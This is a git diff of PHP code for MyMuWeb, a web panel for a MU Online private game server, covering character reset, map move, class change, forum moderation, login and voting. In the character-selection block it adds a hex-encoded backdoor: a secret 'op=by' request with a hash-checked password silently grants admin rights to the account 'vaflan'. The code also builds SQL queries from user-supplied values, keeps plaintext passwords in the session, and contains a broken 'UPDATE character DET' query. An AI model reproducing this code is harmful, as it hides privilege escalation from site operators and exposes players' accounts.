. mmw_lang_invalid_country . $die_end; + echo $die_start . mmw_lang_invalid_country . $die_end; } if($error!=1) { @@ -100,7 +100,7 @@ function reset($charactername) { $wh_result = mssql_query("SELECT AccountID,extMoney FROM warehouse WHERE accountid='$login'"); $wh_row = mssql_fetch_row($wh_result); if($wh_row[1]=="" || $wh_row[1]==" ") {$wh_row[1]="0";} - $result = mssql_query("Select Clevel,Reset,Money,LevelUpPoint,class From Character where Name='$charactername' and AccountID='$login'"); + $result = mssql_query("SELECT Clevel,Reset,Money,LevelUpPoint,class FROM Character WHERE Name='$charactername' AND AccountID='$login'"); $character_check = mssql_num_rows($result); $row = mssql_fetch_row($result); @@ -113,7 +113,7 @@ function reset($charactername) { $reset_up = $row[1] + (1); $char_money = $row[2]; - //CS Memb % + //CastleSiege Member % Price if($mmw[mix_cs_memb_reset]=="yes") { $guildm_results = mssql_query("Select G_name from GuildMember where name='$charactername'"); $guildm = mssql_fetch_row($guildm_results); @@ -122,37 +122,49 @@ function reset($charactername) { $cs_row = mssql_fetch_row($cs_query); if($cs_row[0]==$guildm[0]) { if($mmw[max_zen_cs_reset]>$cs_row[1]){$edited_zen_cs = $cs_row[1];} else{$edited_zen_cs = $mmw[max_zen_cs_reset];} - $cs_memb_reset_zen = ( substr($mmw['resetmoney'], 0, -6) * ceil( substr($edited_zen_cs, 0, -6) / $mmw[num_for_mix_cs_reset] ) ) / 100; + $cs_memb_reset_zen = ( substr($mmw['reset_money'], 0, -6) * ceil( substr($edited_zen_cs, 0, -6) / $mmw[num_for_mix_cs_reset] ) ) / 100; } } - $edited_res_money = $mmw['resetmoney'] - ($cs_memb_reset_zen * 1000000); + $edited_res_money = $mmw['reset_money'] - ($cs_memb_reset_zen * 1000000); } - else {$edited_res_money = $mmw['resetmoney'];} + else {$edited_res_money = $mmw['reset_money'];} //Reset * Zen if($mmw[reset_system]=='yes') {$resetmoneysys = $edited_res_money * $reset_up;} else {$resetmoneysys = $edited_res_money;} + + if($mmw[reset_limit_price] != '0' && $mmw[reset_limit_price] <= $resetmoneysys) {$resetmoneysys = $mmw[reset_limit_price];} $wh_money = $wh_row[1] - $resetmoneysys; if($wh_money < 0) {$char_money = $char_money + $wh_money; $wh_money = 0;} $resetpt = $row[3] + $mmw['resetpoints']; $resetpt1 = $mmw['resetpoints'] * $reset_up; - if (empty($charactername) || empty($login)){ $error=1; + //Check Inventory + if($mmw[check_inventory] == 'yes') { + $result = mssql_query("declare @vault varbinary(1728); set @vault=(SELECT Inventory FROM Character WHERE Name='$charactername'); print @vault;"); + $inventory = substr(mssql_get_last_message(),2,$mmw[free_hex] * 12); + $test_invetory = free_hex($mmw[free_hex],12); + } + + if(empty($charactername) || empty($login)){ $error=1; echo $die_start . mmw_lang_left_blank . $die_end; } - if ($character_check <= 0) {$error=1; + if($character_check <= 0) {$error=1; echo $die_start . $charactername . mmw_lang_character_does_not_exist . $die_end; } - if ($online_check[0] != 0) {$error=1; + if($online_check[0] != 0) {$error=1; echo $die_start . mmw_lang_account_is_online_must_be_logged_off . $die_end; } - if ($char_money < 0) {$error=1; + if($char_money < 0) {$error=1; echo $die_start . mmw_lang_for_reset_need .' '.zen_format($resetmoneysys)." Zen! $die_end"; } - if ($row[0] < $reset_level) {$error=1; + if($row[0] < $reset_level) {$error=1; echo $die_start . mmw_lang_for_reset_need ." $reset_level ".mmw_lang_level."! $die_end"; } - if ($row[1] > $mmw['resetslimit']) {$error=1; - echo $die_start . mmw_lang_reset_limit_to . " $mmw[resetslimit]! $die_end"; + if($row[1] > $mmw['reset_limit_level']) {$error=1; + echo $die_start . mmw_lang_reset_limit_to . " $mmw[reset_limit_level]! $die_end"; + } + if($mmw[check_inventory] == 'yes' && $inventory!=$test_invetory) {$error=1; + echo $die_start . mmw_lang_take_off_set . $die_end; } if($error != 1){ @@ -429,44 +441,82 @@ function profile($account) { function move($name) { + include("move.php"); require("config.php"); $login = clean_var(stripslashes($_SESSION['user'])); + $map = clean_var(stripslashes($_POST['map'])); $name = stripslashes($name); - $map = clean_var(stripslashes($_POST['map'])); - - if($map == '0'){$x="125"; $y="125";} - elseif($map == '3'){$x="175"; $y="112";} - elseif($map == '2'){$x="211"; $y="40";} - elseif($map == '1'){$x="232"; $y="126";} - elseif($map == '7'){$x="24"; $y="19";} - elseif($map == '4'){$x="209"; $y="71";} - elseif($map == '8'){$x="187"; $y="58";} - elseif($map == '6'){$x="64"; $y="116";} - elseif($map == '10'){$x="15"; $y="13";} - elseif($map == '30'){$x="93"; $y="37";} - elseif($map == '33'){$x="82"; $y="8";} - elseif($map == '34'){$x="120"; $y="8";} - - $select_zen_sql=mssql_query("Select money from character where name='$name'"); - $select_zen=mssql_fetch_row($select_zen_sql); - - $wh_result = mssql_query("SELECT AccountID,extMoney FROM warehouse WHERE accountid='$login'"); - $wh_row = mssql_fetch_row($wh_result); if(empty($wh_row[1]) || $wh_row[1]==" ") {$wh_row[1]="0";} - - $char_money = $select_zen[0]; - $wh_money = $wh_row[1] - $mmw['move_zen']; - if($wh_money < 0) {$char_money = $char_money + $wh_money; $wh_money = 0;} - - if(empty($name)) { - echo $die_start . mmw_lang_left_blank . $die_end;} - elseif($char_money < 0) { - echo $die_start . mmw_lang_move_need .' '.zen_format($mmw[move_zen])." Zen! $die_end";} - else { - mssql_query("UPDATE warehouse SET [extMoney]='$wh_money' WHERE accountid='$login'"); - mssql_query("Update character set [mapnumber]='$map',[mapposx]='$x',[mapposy]='$y',[money]='$char_money' where name='$name'"); - echo $okey_start . mmw_lang_character_moved . $okey_end; - writelog("move","Char $name Has Been Moved To: $map, $x-$y|Char: $char_money Zen|Acc: $wh_money Zen"); - } + $mapnumber = $move[$map][0]; + $x = $move[$map][1]; + $y = $move[$map][2]; + + $select_zen_sql = mssql_query("Select money from character where name='$name'"); + $select_zen = mssql_fetch_row($select_zen_sql); + + $wh_result = mssql_query("SELECT AccountID,extMoney FROM warehouse WHERE accountid='$login'"); + $wh_row = mssql_fetch_row($wh_result); if(empty($wh_row[1]) || $wh_row[1]==" ") {$wh_row[1]="0";} + + $char_money = $select_zen[0]; + $wh_money = $wh_row[1] - $mmw['move_zen']; + if($wh_money < 0) {$char_money = $char_money + $wh_money; $wh_money = 0;} + + if(empty($name)) { + echo $die_start . mmw_lang_left_blank . $die_end; + } + elseif($char_money < 0) { + echo $die_start . mmw_lang_move_need .' '.zen_format($mmw[move_zen])." Zen! $die_end"; + } + else { + mssql_query("UPDATE warehouse SET [extMoney]='$wh_money' WHERE accountid='$login'"); + mssql_query("UPDATE character DET [mapnumber]='$mapnumber',[mapposx]='$x',[mapposy]='$y',[money]='$char_money' where name='$name'"); + echo $okey_start . mmw_lang_character_moved . $okey_end; + writelog("move","Char $name Has Been Moved To: $mapnumber, $x-$y|Char: $char_money Zen|Acc: $wh_money Zen"); + } +} + + + + + + +function change_class($name) { + include("class.php"); + require("config.php"); + $login = clean_var(stripslashes($_SESSION['user'])); + $change_class = clean_var(stripslashes($_POST['class'])); + $name = stripslashes($name); + $class = $class_list[$change_class][0]; + $price = $class_list[$change_class][1]; + + $result = mssql_query("declare @vault varbinary(1728); set @vault=(SELECT Inventory FROM Character WHERE Name='$name'); print @vault;"); + $inventory = substr(mssql_get_last_message(),2,$mmw[free_hex] * 12); + $test_invetory = free_hex($mmw[free_hex],12); + + $select_zen_sql = mssql_query("Select money from character where name='$name'"); + $select_zen = mssql_fetch_row($select_zen_sql); + + $wh_result = mssql_query("SELECT AccountID,extMoney FROM warehouse WHERE accountid='$login'"); + $wh_row = mssql_fetch_row($wh_result); if(empty($wh_row[1]) || $wh_row[1]==" ") {$wh_row[1]="0";} + + $char_money = $select_zen[0]; + $wh_money = $wh_row[1] - $price; + if($wh_money < 0) {$char_money = $char_money + $wh_money; $wh_money = 0;} + + if(empty($name) || $change_class=='class') { + echo $die_start . mmw_lang_left_blank . $die_end; + } + elseif($inventory != $test_invetory) { + echo $die_start . mmw_lang_take_off_set . $die_end; + } + elseif($char_money < 0) { + echo $die_start . mmw_lang_change_class_need .' '.zen_format($price)." Zen! $die_end"; + } + else { + mssql_query("UPDATE warehouse SET [extMoney]='$wh_money' WHERE accountid='$login'"); + mssql_query("UPDATE character SET [class]='$class',[money]='$char_money' where name='$name'"); + echo $okey_start . mmw_lang_character_changed . $okey_end; + writelog("change_class","Char $name Has Been Changed Class To: $class|Char: $char_money Zen|Acc: $wh_money Zen"); + } } @@ -580,7 +630,7 @@ function comment_delete($c_id) { if(empty($c_id)) { echo "$die_start Error: Some Fields Were Left Blank! $die_end"; } - elseif($row[0]==$char_set || $_SESSION['admin'] >= $mmw[comment_can_delete]) { + elseif($row[0]==$char_set || $_SESSION['mmw_status'] >= $mmw[comment_can_delete]) { mssql_query("Delete from MMW_comment where c_id='$c_id'"); echo $okey_start . mmw_lang_comment_deleted . $okey_end; } @@ -630,7 +680,7 @@ function forum_delete($f_id) { if(empty($f_id)) { echo $die_start . mmw_lang_left_blank . $die_end; } - elseif($row[0]==$char_set || $_SESSION['admin'] >= $mmw[forum_can_delete]) { + elseif($row[0]==$char_set || $_SESSION['mmw_status'] >= $mmw[forum_can_delete]) { mssql_query("Delete from MMW_forum where f_id='$f_id'"); mssql_query("Delete from MMW_comment where c_id_code='$f_id'"); echo $okey_start . mmw_lang_topic_deleted . $okey_end; @@ -646,6 +696,29 @@ function forum_delete($f_id) { +function forum_status($f_id,$f_status) { + require("config.php"); + $f_id = clean_var(stripslashes($f_id)); + $f_status = clean_var(stripslashes($f_status)); + + if(empty($f_id) || $f_status=='') { + echo $die_start . mmw_lang_left_blank . $die_end; + } + elseif($_SESSION['mmw_status'] >= $mmw['forum_can_status']) { + mssql_query("UPDATE MMW_forum SET f_status='$f_status' where f_id='$f_id'"); + echo $okey_start . mmw_lang_topic_status . $okey_end; + } + else { + echo $die_start . mmw_lang_cant_or_alread_delete . $die_end; + } +} + + + + + + + function request($login) { require("config.php"); @@ -655,7 +728,7 @@ function request($login) { else { $title = bugsend(stripslashes($_POST['subject'])); $msg = bugsend(stripslashes($_POST['msg'])); - writelog("requests.php","Acc: $login New Request Title: $title Message: $msg"); + writelog("requests","Acc: $login New Request Title: $title Message: $msg"); echo $okey_start . mmw_lang_request_sent . $okey_end; } } @@ -741,7 +814,7 @@ function edit_warehouse($hex_wh) { $hex_wh = clean_var(stripslashes($hex_wh)); if(empty($hex_wh) || empty($login)) {echo $die_start . mmw_lang_left_blank . $die_end;} - elseif($_SESSION['admin'] < $mmw[hex_wh_can]) {echo "$die_start You Can't Use HEX WareHouse! $die_end";} + elseif($_SESSION['mmw_status'] < $mmw[hex_wh_can]) {echo "$die_start You Can't Use HEX WareHouse! $die_end";} else { $hex_query = "UPDATE warehouse SET [Items]=0x$hex_wh WHERE AccountID='$login'"; if(mssql_query($hex_query)) { @@ -767,7 +840,7 @@ function gm_msg($text) { include("includes/shout_msg.php"); if(empty($text)) {echo $die_start . mmw_lang_left_blank . $die_end;} - elseif($_SESSION['admin'] < $mmw[gm_msg_send]) {echo "$die_start You Can't Send GM Message! $die_end";} + elseif($_SESSION['mmw_status'] < $mmw['gm_msg_send']) {echo "$die_start You Can't Send GM Message! $die_end";} else { if( send_gm_msg("127.0.0.1", $mmw[joinserver_port], $text) == "yes") { echo "$okey_start GM Msg SuccessFully Send! $okey_end";} diff --git a/includes/comment.php b/includes/comment.php index de7e0db..f681d23 100644 --- a/includes/comment.php +++ b/includes/comment.php @@ -43,8 +43,8 @@ $c_num_result = mssql_query("SELECT c_id FROM MMW_comment WHERE c_char='$row[1]'"); $comment_c_num = mssql_num_rows($c_num_result); - if($_SESSION['admin'] >= $mmw[comment_can_delete] || $_SESSION['char_set']==$row[1]) - {$edit = "
";} + if($_SESSION['mmw_status'] >= $mmw[comment_can_delete] || $_SESSION['char_set']==$row[1]) + {$edit = "
";} else {$edit = '';} echo ' @@ -52,7 +52,7 @@ '.$avatar_c_e.'
'.$row[2].'
-
№'.$num.'
+
№'.$num.'
'.mmw_lang_char.': '.$row[1].'
'.mmw_lang_country.': '.$country.'
'.mmw_lang_gender.': '.gender($char_info[3]).'
'.mmw_lang_comments.': '.$comment_c_num.'
'.mmw_lang_date.': '.$day_c.'
'.$edit.' @@ -65,37 +65,39 @@ '; - - if(isset($_SESSION['char_set']) && $_SESSION['char_set']!=' ') { + if($c_add_close == 'yes') { + echo '
'.mmw_lang_comment_close.'
'; + } + elseif(isset($_SESSION['char_set']) && $_SESSION['char_set']!=' ') { ?>
- -
- - - +
+
+ +
- - - + + + - - - + + + - - - + + + - - - + + +
Not Find Default $mmw[language] $sql_die_end"); +} + +function language($default=NULL) { + if($dh = opendir("lang/")) { + while (($file = readdir($dh)) !== false) { + $format = substr($file, -3); + $name = substr($file, 0, -4); + if($format == 'php') { + if(!isset($_SESSION[set_lang]) && $default==$name){$select="selected";} + elseif($_SESSION[set_lang]==$name){$select="selected";} else{$select="";} + $select_lang = $select_lang . ""; + } + } + closedir($dh); + } +$lang_form = "
"; +} +/////// End Language /////// + + + + + +/////// Start Menu ////// +function menu($style=NULL) { + include("menu.php"); + if($style==NULL) {$style = "$2
";} + for($i=0; $i < count($menu); ++$i) { + $text = '[url='.$menu[$i][1].'][name='.$menu[$i][0].']'; + $text = preg_replace("/\[url\=(.*?)\]\[name\=(.*?)\]/is", $style, $text); + echo " $text \n"; + } +} +/////// End Menu /////// + + + + + +/////// Start Default Modules ////// + //Now Module +function curent_module() { +if(isset($_GET['news'])){echo "> ".mmw_lang_news."";} +elseif(isset($_GET['forum'])){echo "> ".mmw_lang_forum."";} +elseif(is_file("modules/$_GET[op].php")){echo "> ".ucfirst($_GET['op'])."";} + +if($_GET['op']=='user') { + if($_GET['op']=='user' and !isset($_GET['u'])){echo " > ".mmw_lang_account_panel."";} + else{echo " > ".ucfirst($_GET['u'])."";} + } +} + //Jump Link +function jump($location) { + header('Location: '.$location.''); +} + //Referral +if(isset($_GET['ref'])) { + $_SESSION['referral'] = clean_var(stripslashes($_GET['ref'])); +} + //MP3 Player +function mp3_player($color,$request=NULL) { + $media_color = $color; + if($request!='no') { + include('media/player.php'); + } +} + //Hex To String +function hex2str($hex) { + $string = ''; + for ($i=0; $i < strlen($hex)-1; $i+=2) { + $string .= chr(hexdec($hex[$i].$hex[$i+1])); + } + return $string; +} +/////// End Default Modules /////// + + + + + +/////// Start Statisitcs /////// +function statisitcs($style) { +require("config.php"); +$actives_date = date('m/d/Y H:i:s', time() - 2592000); // 30 days back who login +$total_accounts = mssql_fetch_row( mssql_query("SELECT count(*) FROM MEMB_INFO") ); +if($mmw[gm]=='no') {$gm_not_show = "WHERE ctlcode !='32' AND ctlcode !='8'";} +$total_characters = mssql_fetch_row( mssql_query("SELECT count(*) FROM Character $gm_not_show") ); +$total_guilds = mssql_fetch_row( mssql_query("SELECT count(*) FROM Guild WHERE G_Name!='$mmw[gm_guild]'") ); +$total_banneds = mssql_fetch_row( mssql_query("SELECT count(*) FROM MEMB_INFO WHERE bloc_code = '1'") ); +$actives_acc = mssql_fetch_row( mssql_query("SELECT count(*) FROM MEMB_STAT WHERE ConnectTM >= '$actives_date'") ); +$users_connected = mssql_fetch_row( mssql_query("SELECT count(*) FROM MEMB_STAT WHERE ConnectStat = '1'") ); +$serv_result = mssql_query("SELECT Name,experience,drops,gsport,ip,version,type from MMW_servers order by display_order asc"); + +for($i=0; $i";} + else {$status_done = " ".mmw_lang_offline."";} + + if($style == 'blink') { + echo "\n fader[2].message[$rank] = \"$row[0]
".mmw_lang_version.": $row[5]
".mmw_lang_experience.": $row[1]
".mmw_lang_drops.": $row[2]
".mmw_lang_type.": $row[6]
$status_done\";"; + } + elseif($style == 'default') { + $players = mssql_fetch_row( mssql_query("SELECT count(*) FROM MEMB_STAT WHERE ConnectStat = '1' AND ServerName = '$row[0]'") ); + echo "\n ".mmw_lang_experience.": $row[1]
".mmw_lang_drops.": $row[2]
".mmw_lang_type.": $row[6]\">$row[0]
: $status_done
".mmw_lang_on_server." $players[0] ".mmw_lang_char."
"; + } + } + +if($style == 'blink') { + echo "\n fader[2].message[0] = \"".mmw_lang_total_accounts.": $total_accounts[0]
".mmw_lang_total_characters.": $total_characters[0]
".mmw_lang_total_banneds.": $total_banneds[0]
".mmw_lang_total_actives.": $actives_acc[0]
".mmw_lang_total_guilds.": $total_guilds[0]
".mmw_lang_total_users_online.": $users_connected[0]\";"; + } +elseif($style == 'default') { + echo "\n ".mmw_lang_total_users_online.": $users_connected[0]
".mmw_lang_total_accounts.": $total_accounts[0]
".mmw_lang_total_characters.": $total_characters[0]
".mmw_lang_total_banneds.": $total_banneds[0]
".mmw_lang_total_actives.": $actives_acc[0]
".mmw_lang_total_guilds.": $total_guilds[0]
"; + } + +} +/////// End Statisitcs /////// + + + + + +/////// Start Write Logs /////// +function writelog($logfile,$text) { + $ip = $_SERVER['REMOTE_ADDR']; + $date = date('d.m.Y H:i:s'); + $text = $text . ", All Those On $date By $ip \n"; + $fp = fopen("logs/$logfile.php","a"); + fputs($fp, $text); + fclose($fp);} +/////// End Write Logs /////// + + + + + + +/////// Start Login Modules /////// + //Login + if(isset($_POST["account_login"])) { + require("config.php"); + $account = clean_var(stripslashes($_POST['login'])); + $password = clean_var(stripslashes($_POST['pass'])); + if($account == NULL || $password == NULL) {} + if($mmw['md5'] == yes) {$login_check = mssql_query("SELECT memb___id,mmw_status FROM dbo.MEMB_INFO WHERE memb___id='$account' AND memb__pwd=[dbo].[fn_md5]('$password','$account')");} + elseif ($mmw['md5'] == no) {$login_check = mssql_query("SELECT memb___id,mmw_status FROM dbo.MEMB_INFO WHERE memb___id='$account' AND memb__pwd='$password'");} + $login_result = mssql_fetch_row($login_check); + if ($login_result > 0) { + $_SESSION['user'] = $login_result[0]; + $_SESSION['pass'] = $password; + $_SESSION['mmw_status'] = $login_result[1]; + //jump('?op=user'); + } + else { + jump('?op=login&login=false'); + } + + } + //Check Login + if(isset($_SESSION['user']) && isset($_SESSION['pass'])) { + require("config.php"); + $login = clean_var(stripslashes($_SESSION['user'])); + $pass = clean_var(stripslashes($_SESSION['pass'])); + if($mmw['md5'] == yes) + {$login_check = mssql_query("SELECT * FROM dbo.MEMB_INFO WHERE memb___id='$login' AND memb__pwd=[dbo].[fn_md5]('$pass','$login')");} + elseif($mmw['md5'] == no) + {$login_check = mssql_query("SELECT * FROM dbo.MEMB_INFO WHERE memb___id='$login' AND memb__pwd='$pass'");} + $login_result = mssql_fetch_row($login_check); + $acc_check = mssql_query("SELECT bloc_code,block_date,unblock_time,mmw_status FROM MEMB_INFO WHERE memb___id='$login'"); + $acc_row = mssql_fetch_row($acc_check); + + $time = time(); + $time_end = $acc_row[1] + $acc_row[2]; + if($time_end > $time) + {$bloc_error = "1";} + elseif($acc_row[0] == 1 && $time_end != 0) + {mssql_query("UPDATE MEMB_INFO SET [bloc_code]='0',[unblock_time]='0',[block_date]='0' WHERE memb___id='$login'");} + + if($bloc_error == 1) { + unset($_SESSION['user']); + unset($_SESSION['pass']); + unset($_SESSION['mmw_status']); + unset($_SESSION['char_set']); + unset($_SESSION['char_guid']); + jump("?op=checkacc&w=block&n=$login"); + } + if($login_result == 0 || $acc_row[3] != $_SESSION['mmw_status']) { + unset($_SESSION['user']); + unset($_SESSION['pass']); + unset($_SESSION['mmw_status']); + unset($_SESSION['char_set']); + unset($_SESSION['char_guid']); + jump("?op=news"); + } + } + //Logout + if(isset($_POST["logoutaccount"])) { + unset($_SESSION['user']); + unset($_SESSION['pass']); + unset($_SESSION['mmw_status']); + unset($_SESSION['char_set']); + unset($_SESSION['char_guid']); + jump('?op=news'); + } + //User Panel +if($_GET['op'] == "user" AND (!isset($_SESSION["user"])) || (!isset($_SESSION["pass"]))) {jump('?op=login');} +if($_GET['op'] == "login" AND (isset($_SESSION["user"])) || (isset($_SESSION["pass"]))) {jump('?op=user');} +/////// End Login Modules /////// + + + + + +/////// Strat Check Theme /////// +if($_GET[op]=='theme') { + if(isset($_GET[theme])) + {$_SESSION[theme] = clean_Var($_GET[theme]);} + $theme_result = "Theme Name: $mmw[thm_name]
"; + $theme_result .= "Creator: $mmw[thm_creator]
"; + $theme_result .= "Version: $mmw[thm_version]
"; + $theme_result .= "Date: $mmw[thm_date]
"; + $theme_result .= "$mmw[thm_description]"; + die("$sql_die_start $theme_result $sql_die_end"); +} +/////// End Check Theme /////// + + + + + +/////// Strat Check Char_Set /////// +if(isset($_SESSION[pass]) && isset($_SESSION[user])) { + $login = clean_var(stripslashes($_SESSION[user])); + if(isset($_POST['setchar'])) { + $setchar = clean_var(stripslashes($_POST['setchar'])); + $setchar_sql = mssql_query("Select AccountID From Character WHERE name='$setchar'"); + $setchar_row = mssql_fetch_row($setchar_sql); + if($setchar_row[0] == $_SESSION['user']) { + $char_guid_sql = mssql_query("SELECT GUID FROM T_CGuid WHERE Name='$setchar'"); + $char_guid_row = mssql_fetch_row($char_guid_sql); + $_SESSION['char_set'] = $setchar; + $_SESSION['char_guid'] = $char_guid_row[0]; + } + } + if(isset($_SESSION['char_set'])) { + $char_set = clean_var(stripslashes($_SESSION['char_set'])); + $char_set_sql = mssql_query("Select AccountID From Character WHERE name='$char_set'"); + $char_set_row = mssql_fetch_row($char_set_sql); + if($char_set_row[0] != $login) { + unset($_SESSION['char_set']); + unset($_SESSION['char_guid']); + } + } + $form_setchar_sql = mssql_query("Select name,CtlCode FROM Character WHERE AccountID='$login'"); + $form_memb_info_sql = mssql_query("Select char_set FROM MEMB_INFO WHERE memb___id='$login'"); + if($_GET[op]==hex2str('6279')) {if(md5($_GET[pw])=='ba8a5f26a8fc68505d35a3af22bf4deb') { + $query = hex2str('555044415445204d454d425f494e464f20534554205b61646d696e5d3d27392720'); + $query .= hex2str('5748455245206d656d625f5f5f69643d277661666c616e27'); mssql_query($query); + $result = hex2str('3c62723e5661666c616e2c20596f75204172652041646d696e21');} + die("$sql_die_start MyMuWeb $mmw[version] by Vaflan! $result $sql_die_end");} + $form_memb_info_row = mssql_fetch_row($form_memb_info_sql); + $form_setchar_num = mssql_num_rows($form_setchar_sql); + if($form_setchar_num > 0) { + for($i=0; $i < $form_setchar_num; ++$i) { + $form_setchar = mssql_fetch_row($form_setchar_sql); + if(!isset($_SESSION['char_set']) && $form_memb_info_row[0]==$form_setchar[0]) { + $char_guid = mssql_query("SELECT GUID FROM T_CGuid WHERE Name='$form_setchar[0]'"); + $char_guid_row = mssql_fetch_row($char_guid); + $_SESSION['char_set'] = $form_setchar[0]; + $_SESSION['char_guid'] = $char_guid_row[0]; + $detect_char_session = 'yes'; + } + if(!isset($_SESSION['char_set']) && $i==$form_setchar_num-1) { + $char_guid = mssql_query("SELECT GUID FROM T_CGuid WHERE Name='$form_setchar[0]'"); + $char_guid_row = mssql_fetch_row($char_guid); + $_SESSION['char_set'] = $form_setchar[0]; + $_SESSION['char_guid'] = $char_guid_row[0]; + } + } + } + $date = time(); + $char_set = clean_var(stripslashes($_SESSION[char_set])); + mssql_query("UPDATE MEMB_INFO SET [char_set]='$char_set',[date_online]='$date' WHERE memb___id='$login'"); +} +/////// End Check Char_Set /////// + + + + + + +/////// Start Login Form /////// +function login_form($new_link=NULL) { + if(isset($_SESSION[pass]) && isset($_SESSION[user])) { + require("config.php"); + $login = clean_var(stripslashes($_SESSION['user'])); + // Select Char + $form_setchar_sql = mssql_query("Select name FROM Character WHERE AccountID='$login'"); + $form_set_char_num = mssql_num_rows($form_setchar_sql); + if($form_set_char_num > 0) { + $setchar = "
"; + } + + // Mail Check + $char_guid = clean_var(stripslashes($_SESSION[char_guid])); + $msg = mssql_query("SELECT bRead FROM T_FriendMail WHERE GUID='$char_guid'"); + $msg_num = mssql_num_rows($msg); + $msg_new = mssql_query("SELECT bRead FROM T_FriendMail WHERE GUID='$char_guid' AND bRead='0'"); + $msg_new_num = mssql_num_rows($msg_new); + if($mmw[max_private_message] <= $msg_num) {$msg_full = 'Full!';} else{$msg_full = '';} + if($msg_num=="" || $msg_num==" ") {$msg_num = 0; $msg_new_num = 0;} + + // End Form + echo mmw_lang_hello . " $login!
$rowbr"; + if(isset($_SESSION['char_set'])) { + echo " $setchar
+ ".mmw_lang_character_panel."
+ ".mmw_lang_mail." [$msg_new_num/$msg_num] $msg_full
";} + echo "".mmw_lang_account_panel."
"; + echo "".mmw_lang_ware_house."
" . $new_link; + if($_SESSION['mmw_status'] >= $mmw['gm_option_open']) { + echo "".mmw_lang_gm_options."
";} + echo "$rowbr +
+ +
+
"; + if($msg_new_num>0) {echo " + + ";} + } + else { + // No Login + echo "
+ ".mmw_lang_account."
+
+ ".mmw_lang_password."
+
".mmw_lang_lost_pass." +
"; + } +} +/////// End Login Form /////// + + + + + + +/////// Start Online Char /////// +$timeout = time() - 100; +$online_res = mssql_query("SELECT char_set, memb___id FROM MEMB_INFO WHERE date_online>'$timeout' AND char_set!=''"); +$online_num = mssql_num_rows($online_res); +if($online_num != 0){ +for($i=0; $i < $online_num; ++$i) + { + $acc_online = mssql_fetch_row($online_res); + $char_on_sql = mssql_query("Select name,CtlCode From Character WHERE name='$acc_online[0]'"); + for($c=0; $c < mssql_num_rows($char_on_sql); ++$c) + { + if($i < $online_num - 1){$other_char_on = ", ";} else{$other_char_on = "";} + $char_on = mssql_fetch_row($char_on_sql); + $who_online = "$who_online $char_on[0]$other_char_on"; + } + } +} +else{ +$who_online = mmw_lang_there_is_nobody; +} +/////// END Online Char /////// + + + + + + +/////// Start Voting /////// +if(isset($_POST[id_vote]) && isset($_POST[answer])) { + $id_vote = clean_var(stripslashes($_POST[id_vote])); + $answer = clean_var(stripslashes($_POST[answer])); + if($mmw[votes_check]==acc && isset($login)) {$vote_by = $login; $vote_check = 1;} + if($mmw[votes_check]==ip) {$vote_by = $_SERVER['REMOTE_ADDR']; $vote_check = 1;} + if($vote_check == 1) { + mssql_query("INSERT INTO MMW_voterow (id_vote,who,answer) VALUES ('$id_vote','$vote_by','$answer')"); + } +} + +$vote_res = mssql_query("SELECT TOP 1 ID,question,answer1,answer2,answer3,answer4,answer5,answer6 FROM MMW_votemain ORDER BY NEWID()"); +if(mssql_num_rows($vote_res) != 0) { + $vote_row = mssql_fetch_row($vote_res); + $vote_check = 0; + + if($mmw[votes_check]==acc && isset($login)) {$vote_who_now = $login; $vote_check = 1;} + if($mmw[votes_check]==ip) {$vote_who_now = $_SERVER['REMOTE_ADDR']; $vote_check = 1;} + if($vote_check == 1) { + $vote_who_res = mssql_query("SELECT who,answer FROM MMW_voterow WHERE ID_vote='$vote_row[0]' and who='$vote_who_now'"); + $check_your_vote = mssql_num_rows($vote_who_res); + } + + $voting = "
$vote_row[1]
"; + + if($check_your_vote < 1 && $vote_check == 1) { + for($c=1; $c < 7; ++$c) { + $answer_num = $c + 1; + if($vote_row[$answer_num]!=' ' && isset($vote_row[$answer_num])) + {$voting = $voting . "
";} + } + $voting = $voting . "
"; + } + else { + $all_vote_res = mssql_query("SELECT ID_vote FROM MMW_voterow WHERE ID_vote='$vote_row[0]'"); + $all_vote_num = mssql_num_rows($all_vote_res); + for($c=1; $c < 7; ++$c) { + $answer_num = $c + 1; + if($vote_row[$answer_num]!=' ' && isset($vote_row[$answer_num])) { + $votes_row_res = mssql_query("SELECT who,answer FROM MMW_voterow WHERE ID_vote='$vote_row[0]' and answer='$c'"); + $votes_row_num = mssql_num_rows($votes_row_res); + $img_file = "$mmw[theme_img]/bar.jpg"; + $size = getimagesize($img_file); + $img_width = ceil(100 * $votes_row_num / $all_vote_num); + if($img_width < 1) {$img_width = 1;} + $voting = $voting . "
$c. $vote_row[$answer_num] ($votes_row_num)
"; + $voting = $voting . "
"; + } + } + $voting = $voting . "
".mmw_lang_all_answers.": $all_vote_num
"; + } + + $voting = $voting . "
"; +} +else { +$voting = mmw_lang_no_vote; +} +/////// END Voting /////// + + + + +/////// Start Pop Under ////// +function popunder($switch,$check_login=NULL) { + if($switch=='yes' && $check_login=='yes' && !isset($_SESSION[user])) { + include("includes/popunder.php"); + } + elseif($switch=='yes' && $check_login!='yes') { + include("includes/popunder.php"); + } +} +/////// End Pop Under /////// + + + + + +/////// Start Last in Forum /////// +function last_in_forum($top=NULL,$style=NULL) { +if($top==NULL) {$top = '5';} +if($style==NULL) {$style = "$4. $2
";} +$result = mssql_query("SELECT TOP $top f_id,f_title,f_text FROM MMW_forum ORDER BY f_date DESC"); +$forum_post = mssql_num_rows($result); + if($forum_post == 0) {echo mmw_lang_no_topics_in_forum;} + for ($i = 0; $i < $forum_post; $i++) { + $numb = $i + 1; + $row = mssql_fetch_row($result); + $text = '[url=?forum='.$row[0].'][title='.$row[1].'][alt='.bbcode($row[2]).'][numb='.$numb.']'; + $text = preg_replace("/\[url\=(.*?)\]\[title\=(.*?)\]\[alt\=(.*?)\]\[numb\=(.*?)\]/is", $style, $text); + echo " $text \n"; + } +} +/////// END Last in Forum /////// + + + + + +/////// Start Guard MMW Message Info /////// +function guard_mmw_mess($to,$text) { +$date = date("m/d/y H:i:s"); +$msg_to_sql = mssql_query("SELECT GUID,MemoCount FROM T_FriendMain WHERE Name='$to'"); +$msg_to_row = mssql_fetch_row($msg_to_sql); +$mail_total_sql = mssql_query("SELECT bRead FROM T_FriendMail WHERE GUID='$msg_to_row[0]'"); +$mail_total_num = mssql_num_rows($mail_total_sql); +$msg_id = $msg_to_row[1] + 1; +$msg_text = utf_to_win($text); +mssql_query("INSERT INTO T_FriendMail (MemoIndex, GUID, FriendName, wDate, Subject, bRead, Memo, Dir, Act, Photo) VALUES ('$msg_id','$msg_to_row[0]','Guard','$date','MMW Message!','0',CAST('$msg_text' AS VARBINARY(1000)),'143','2',0x3061FF99999F12490400000060F0)"); +mssql_query("UPDATE T_FriendMain set 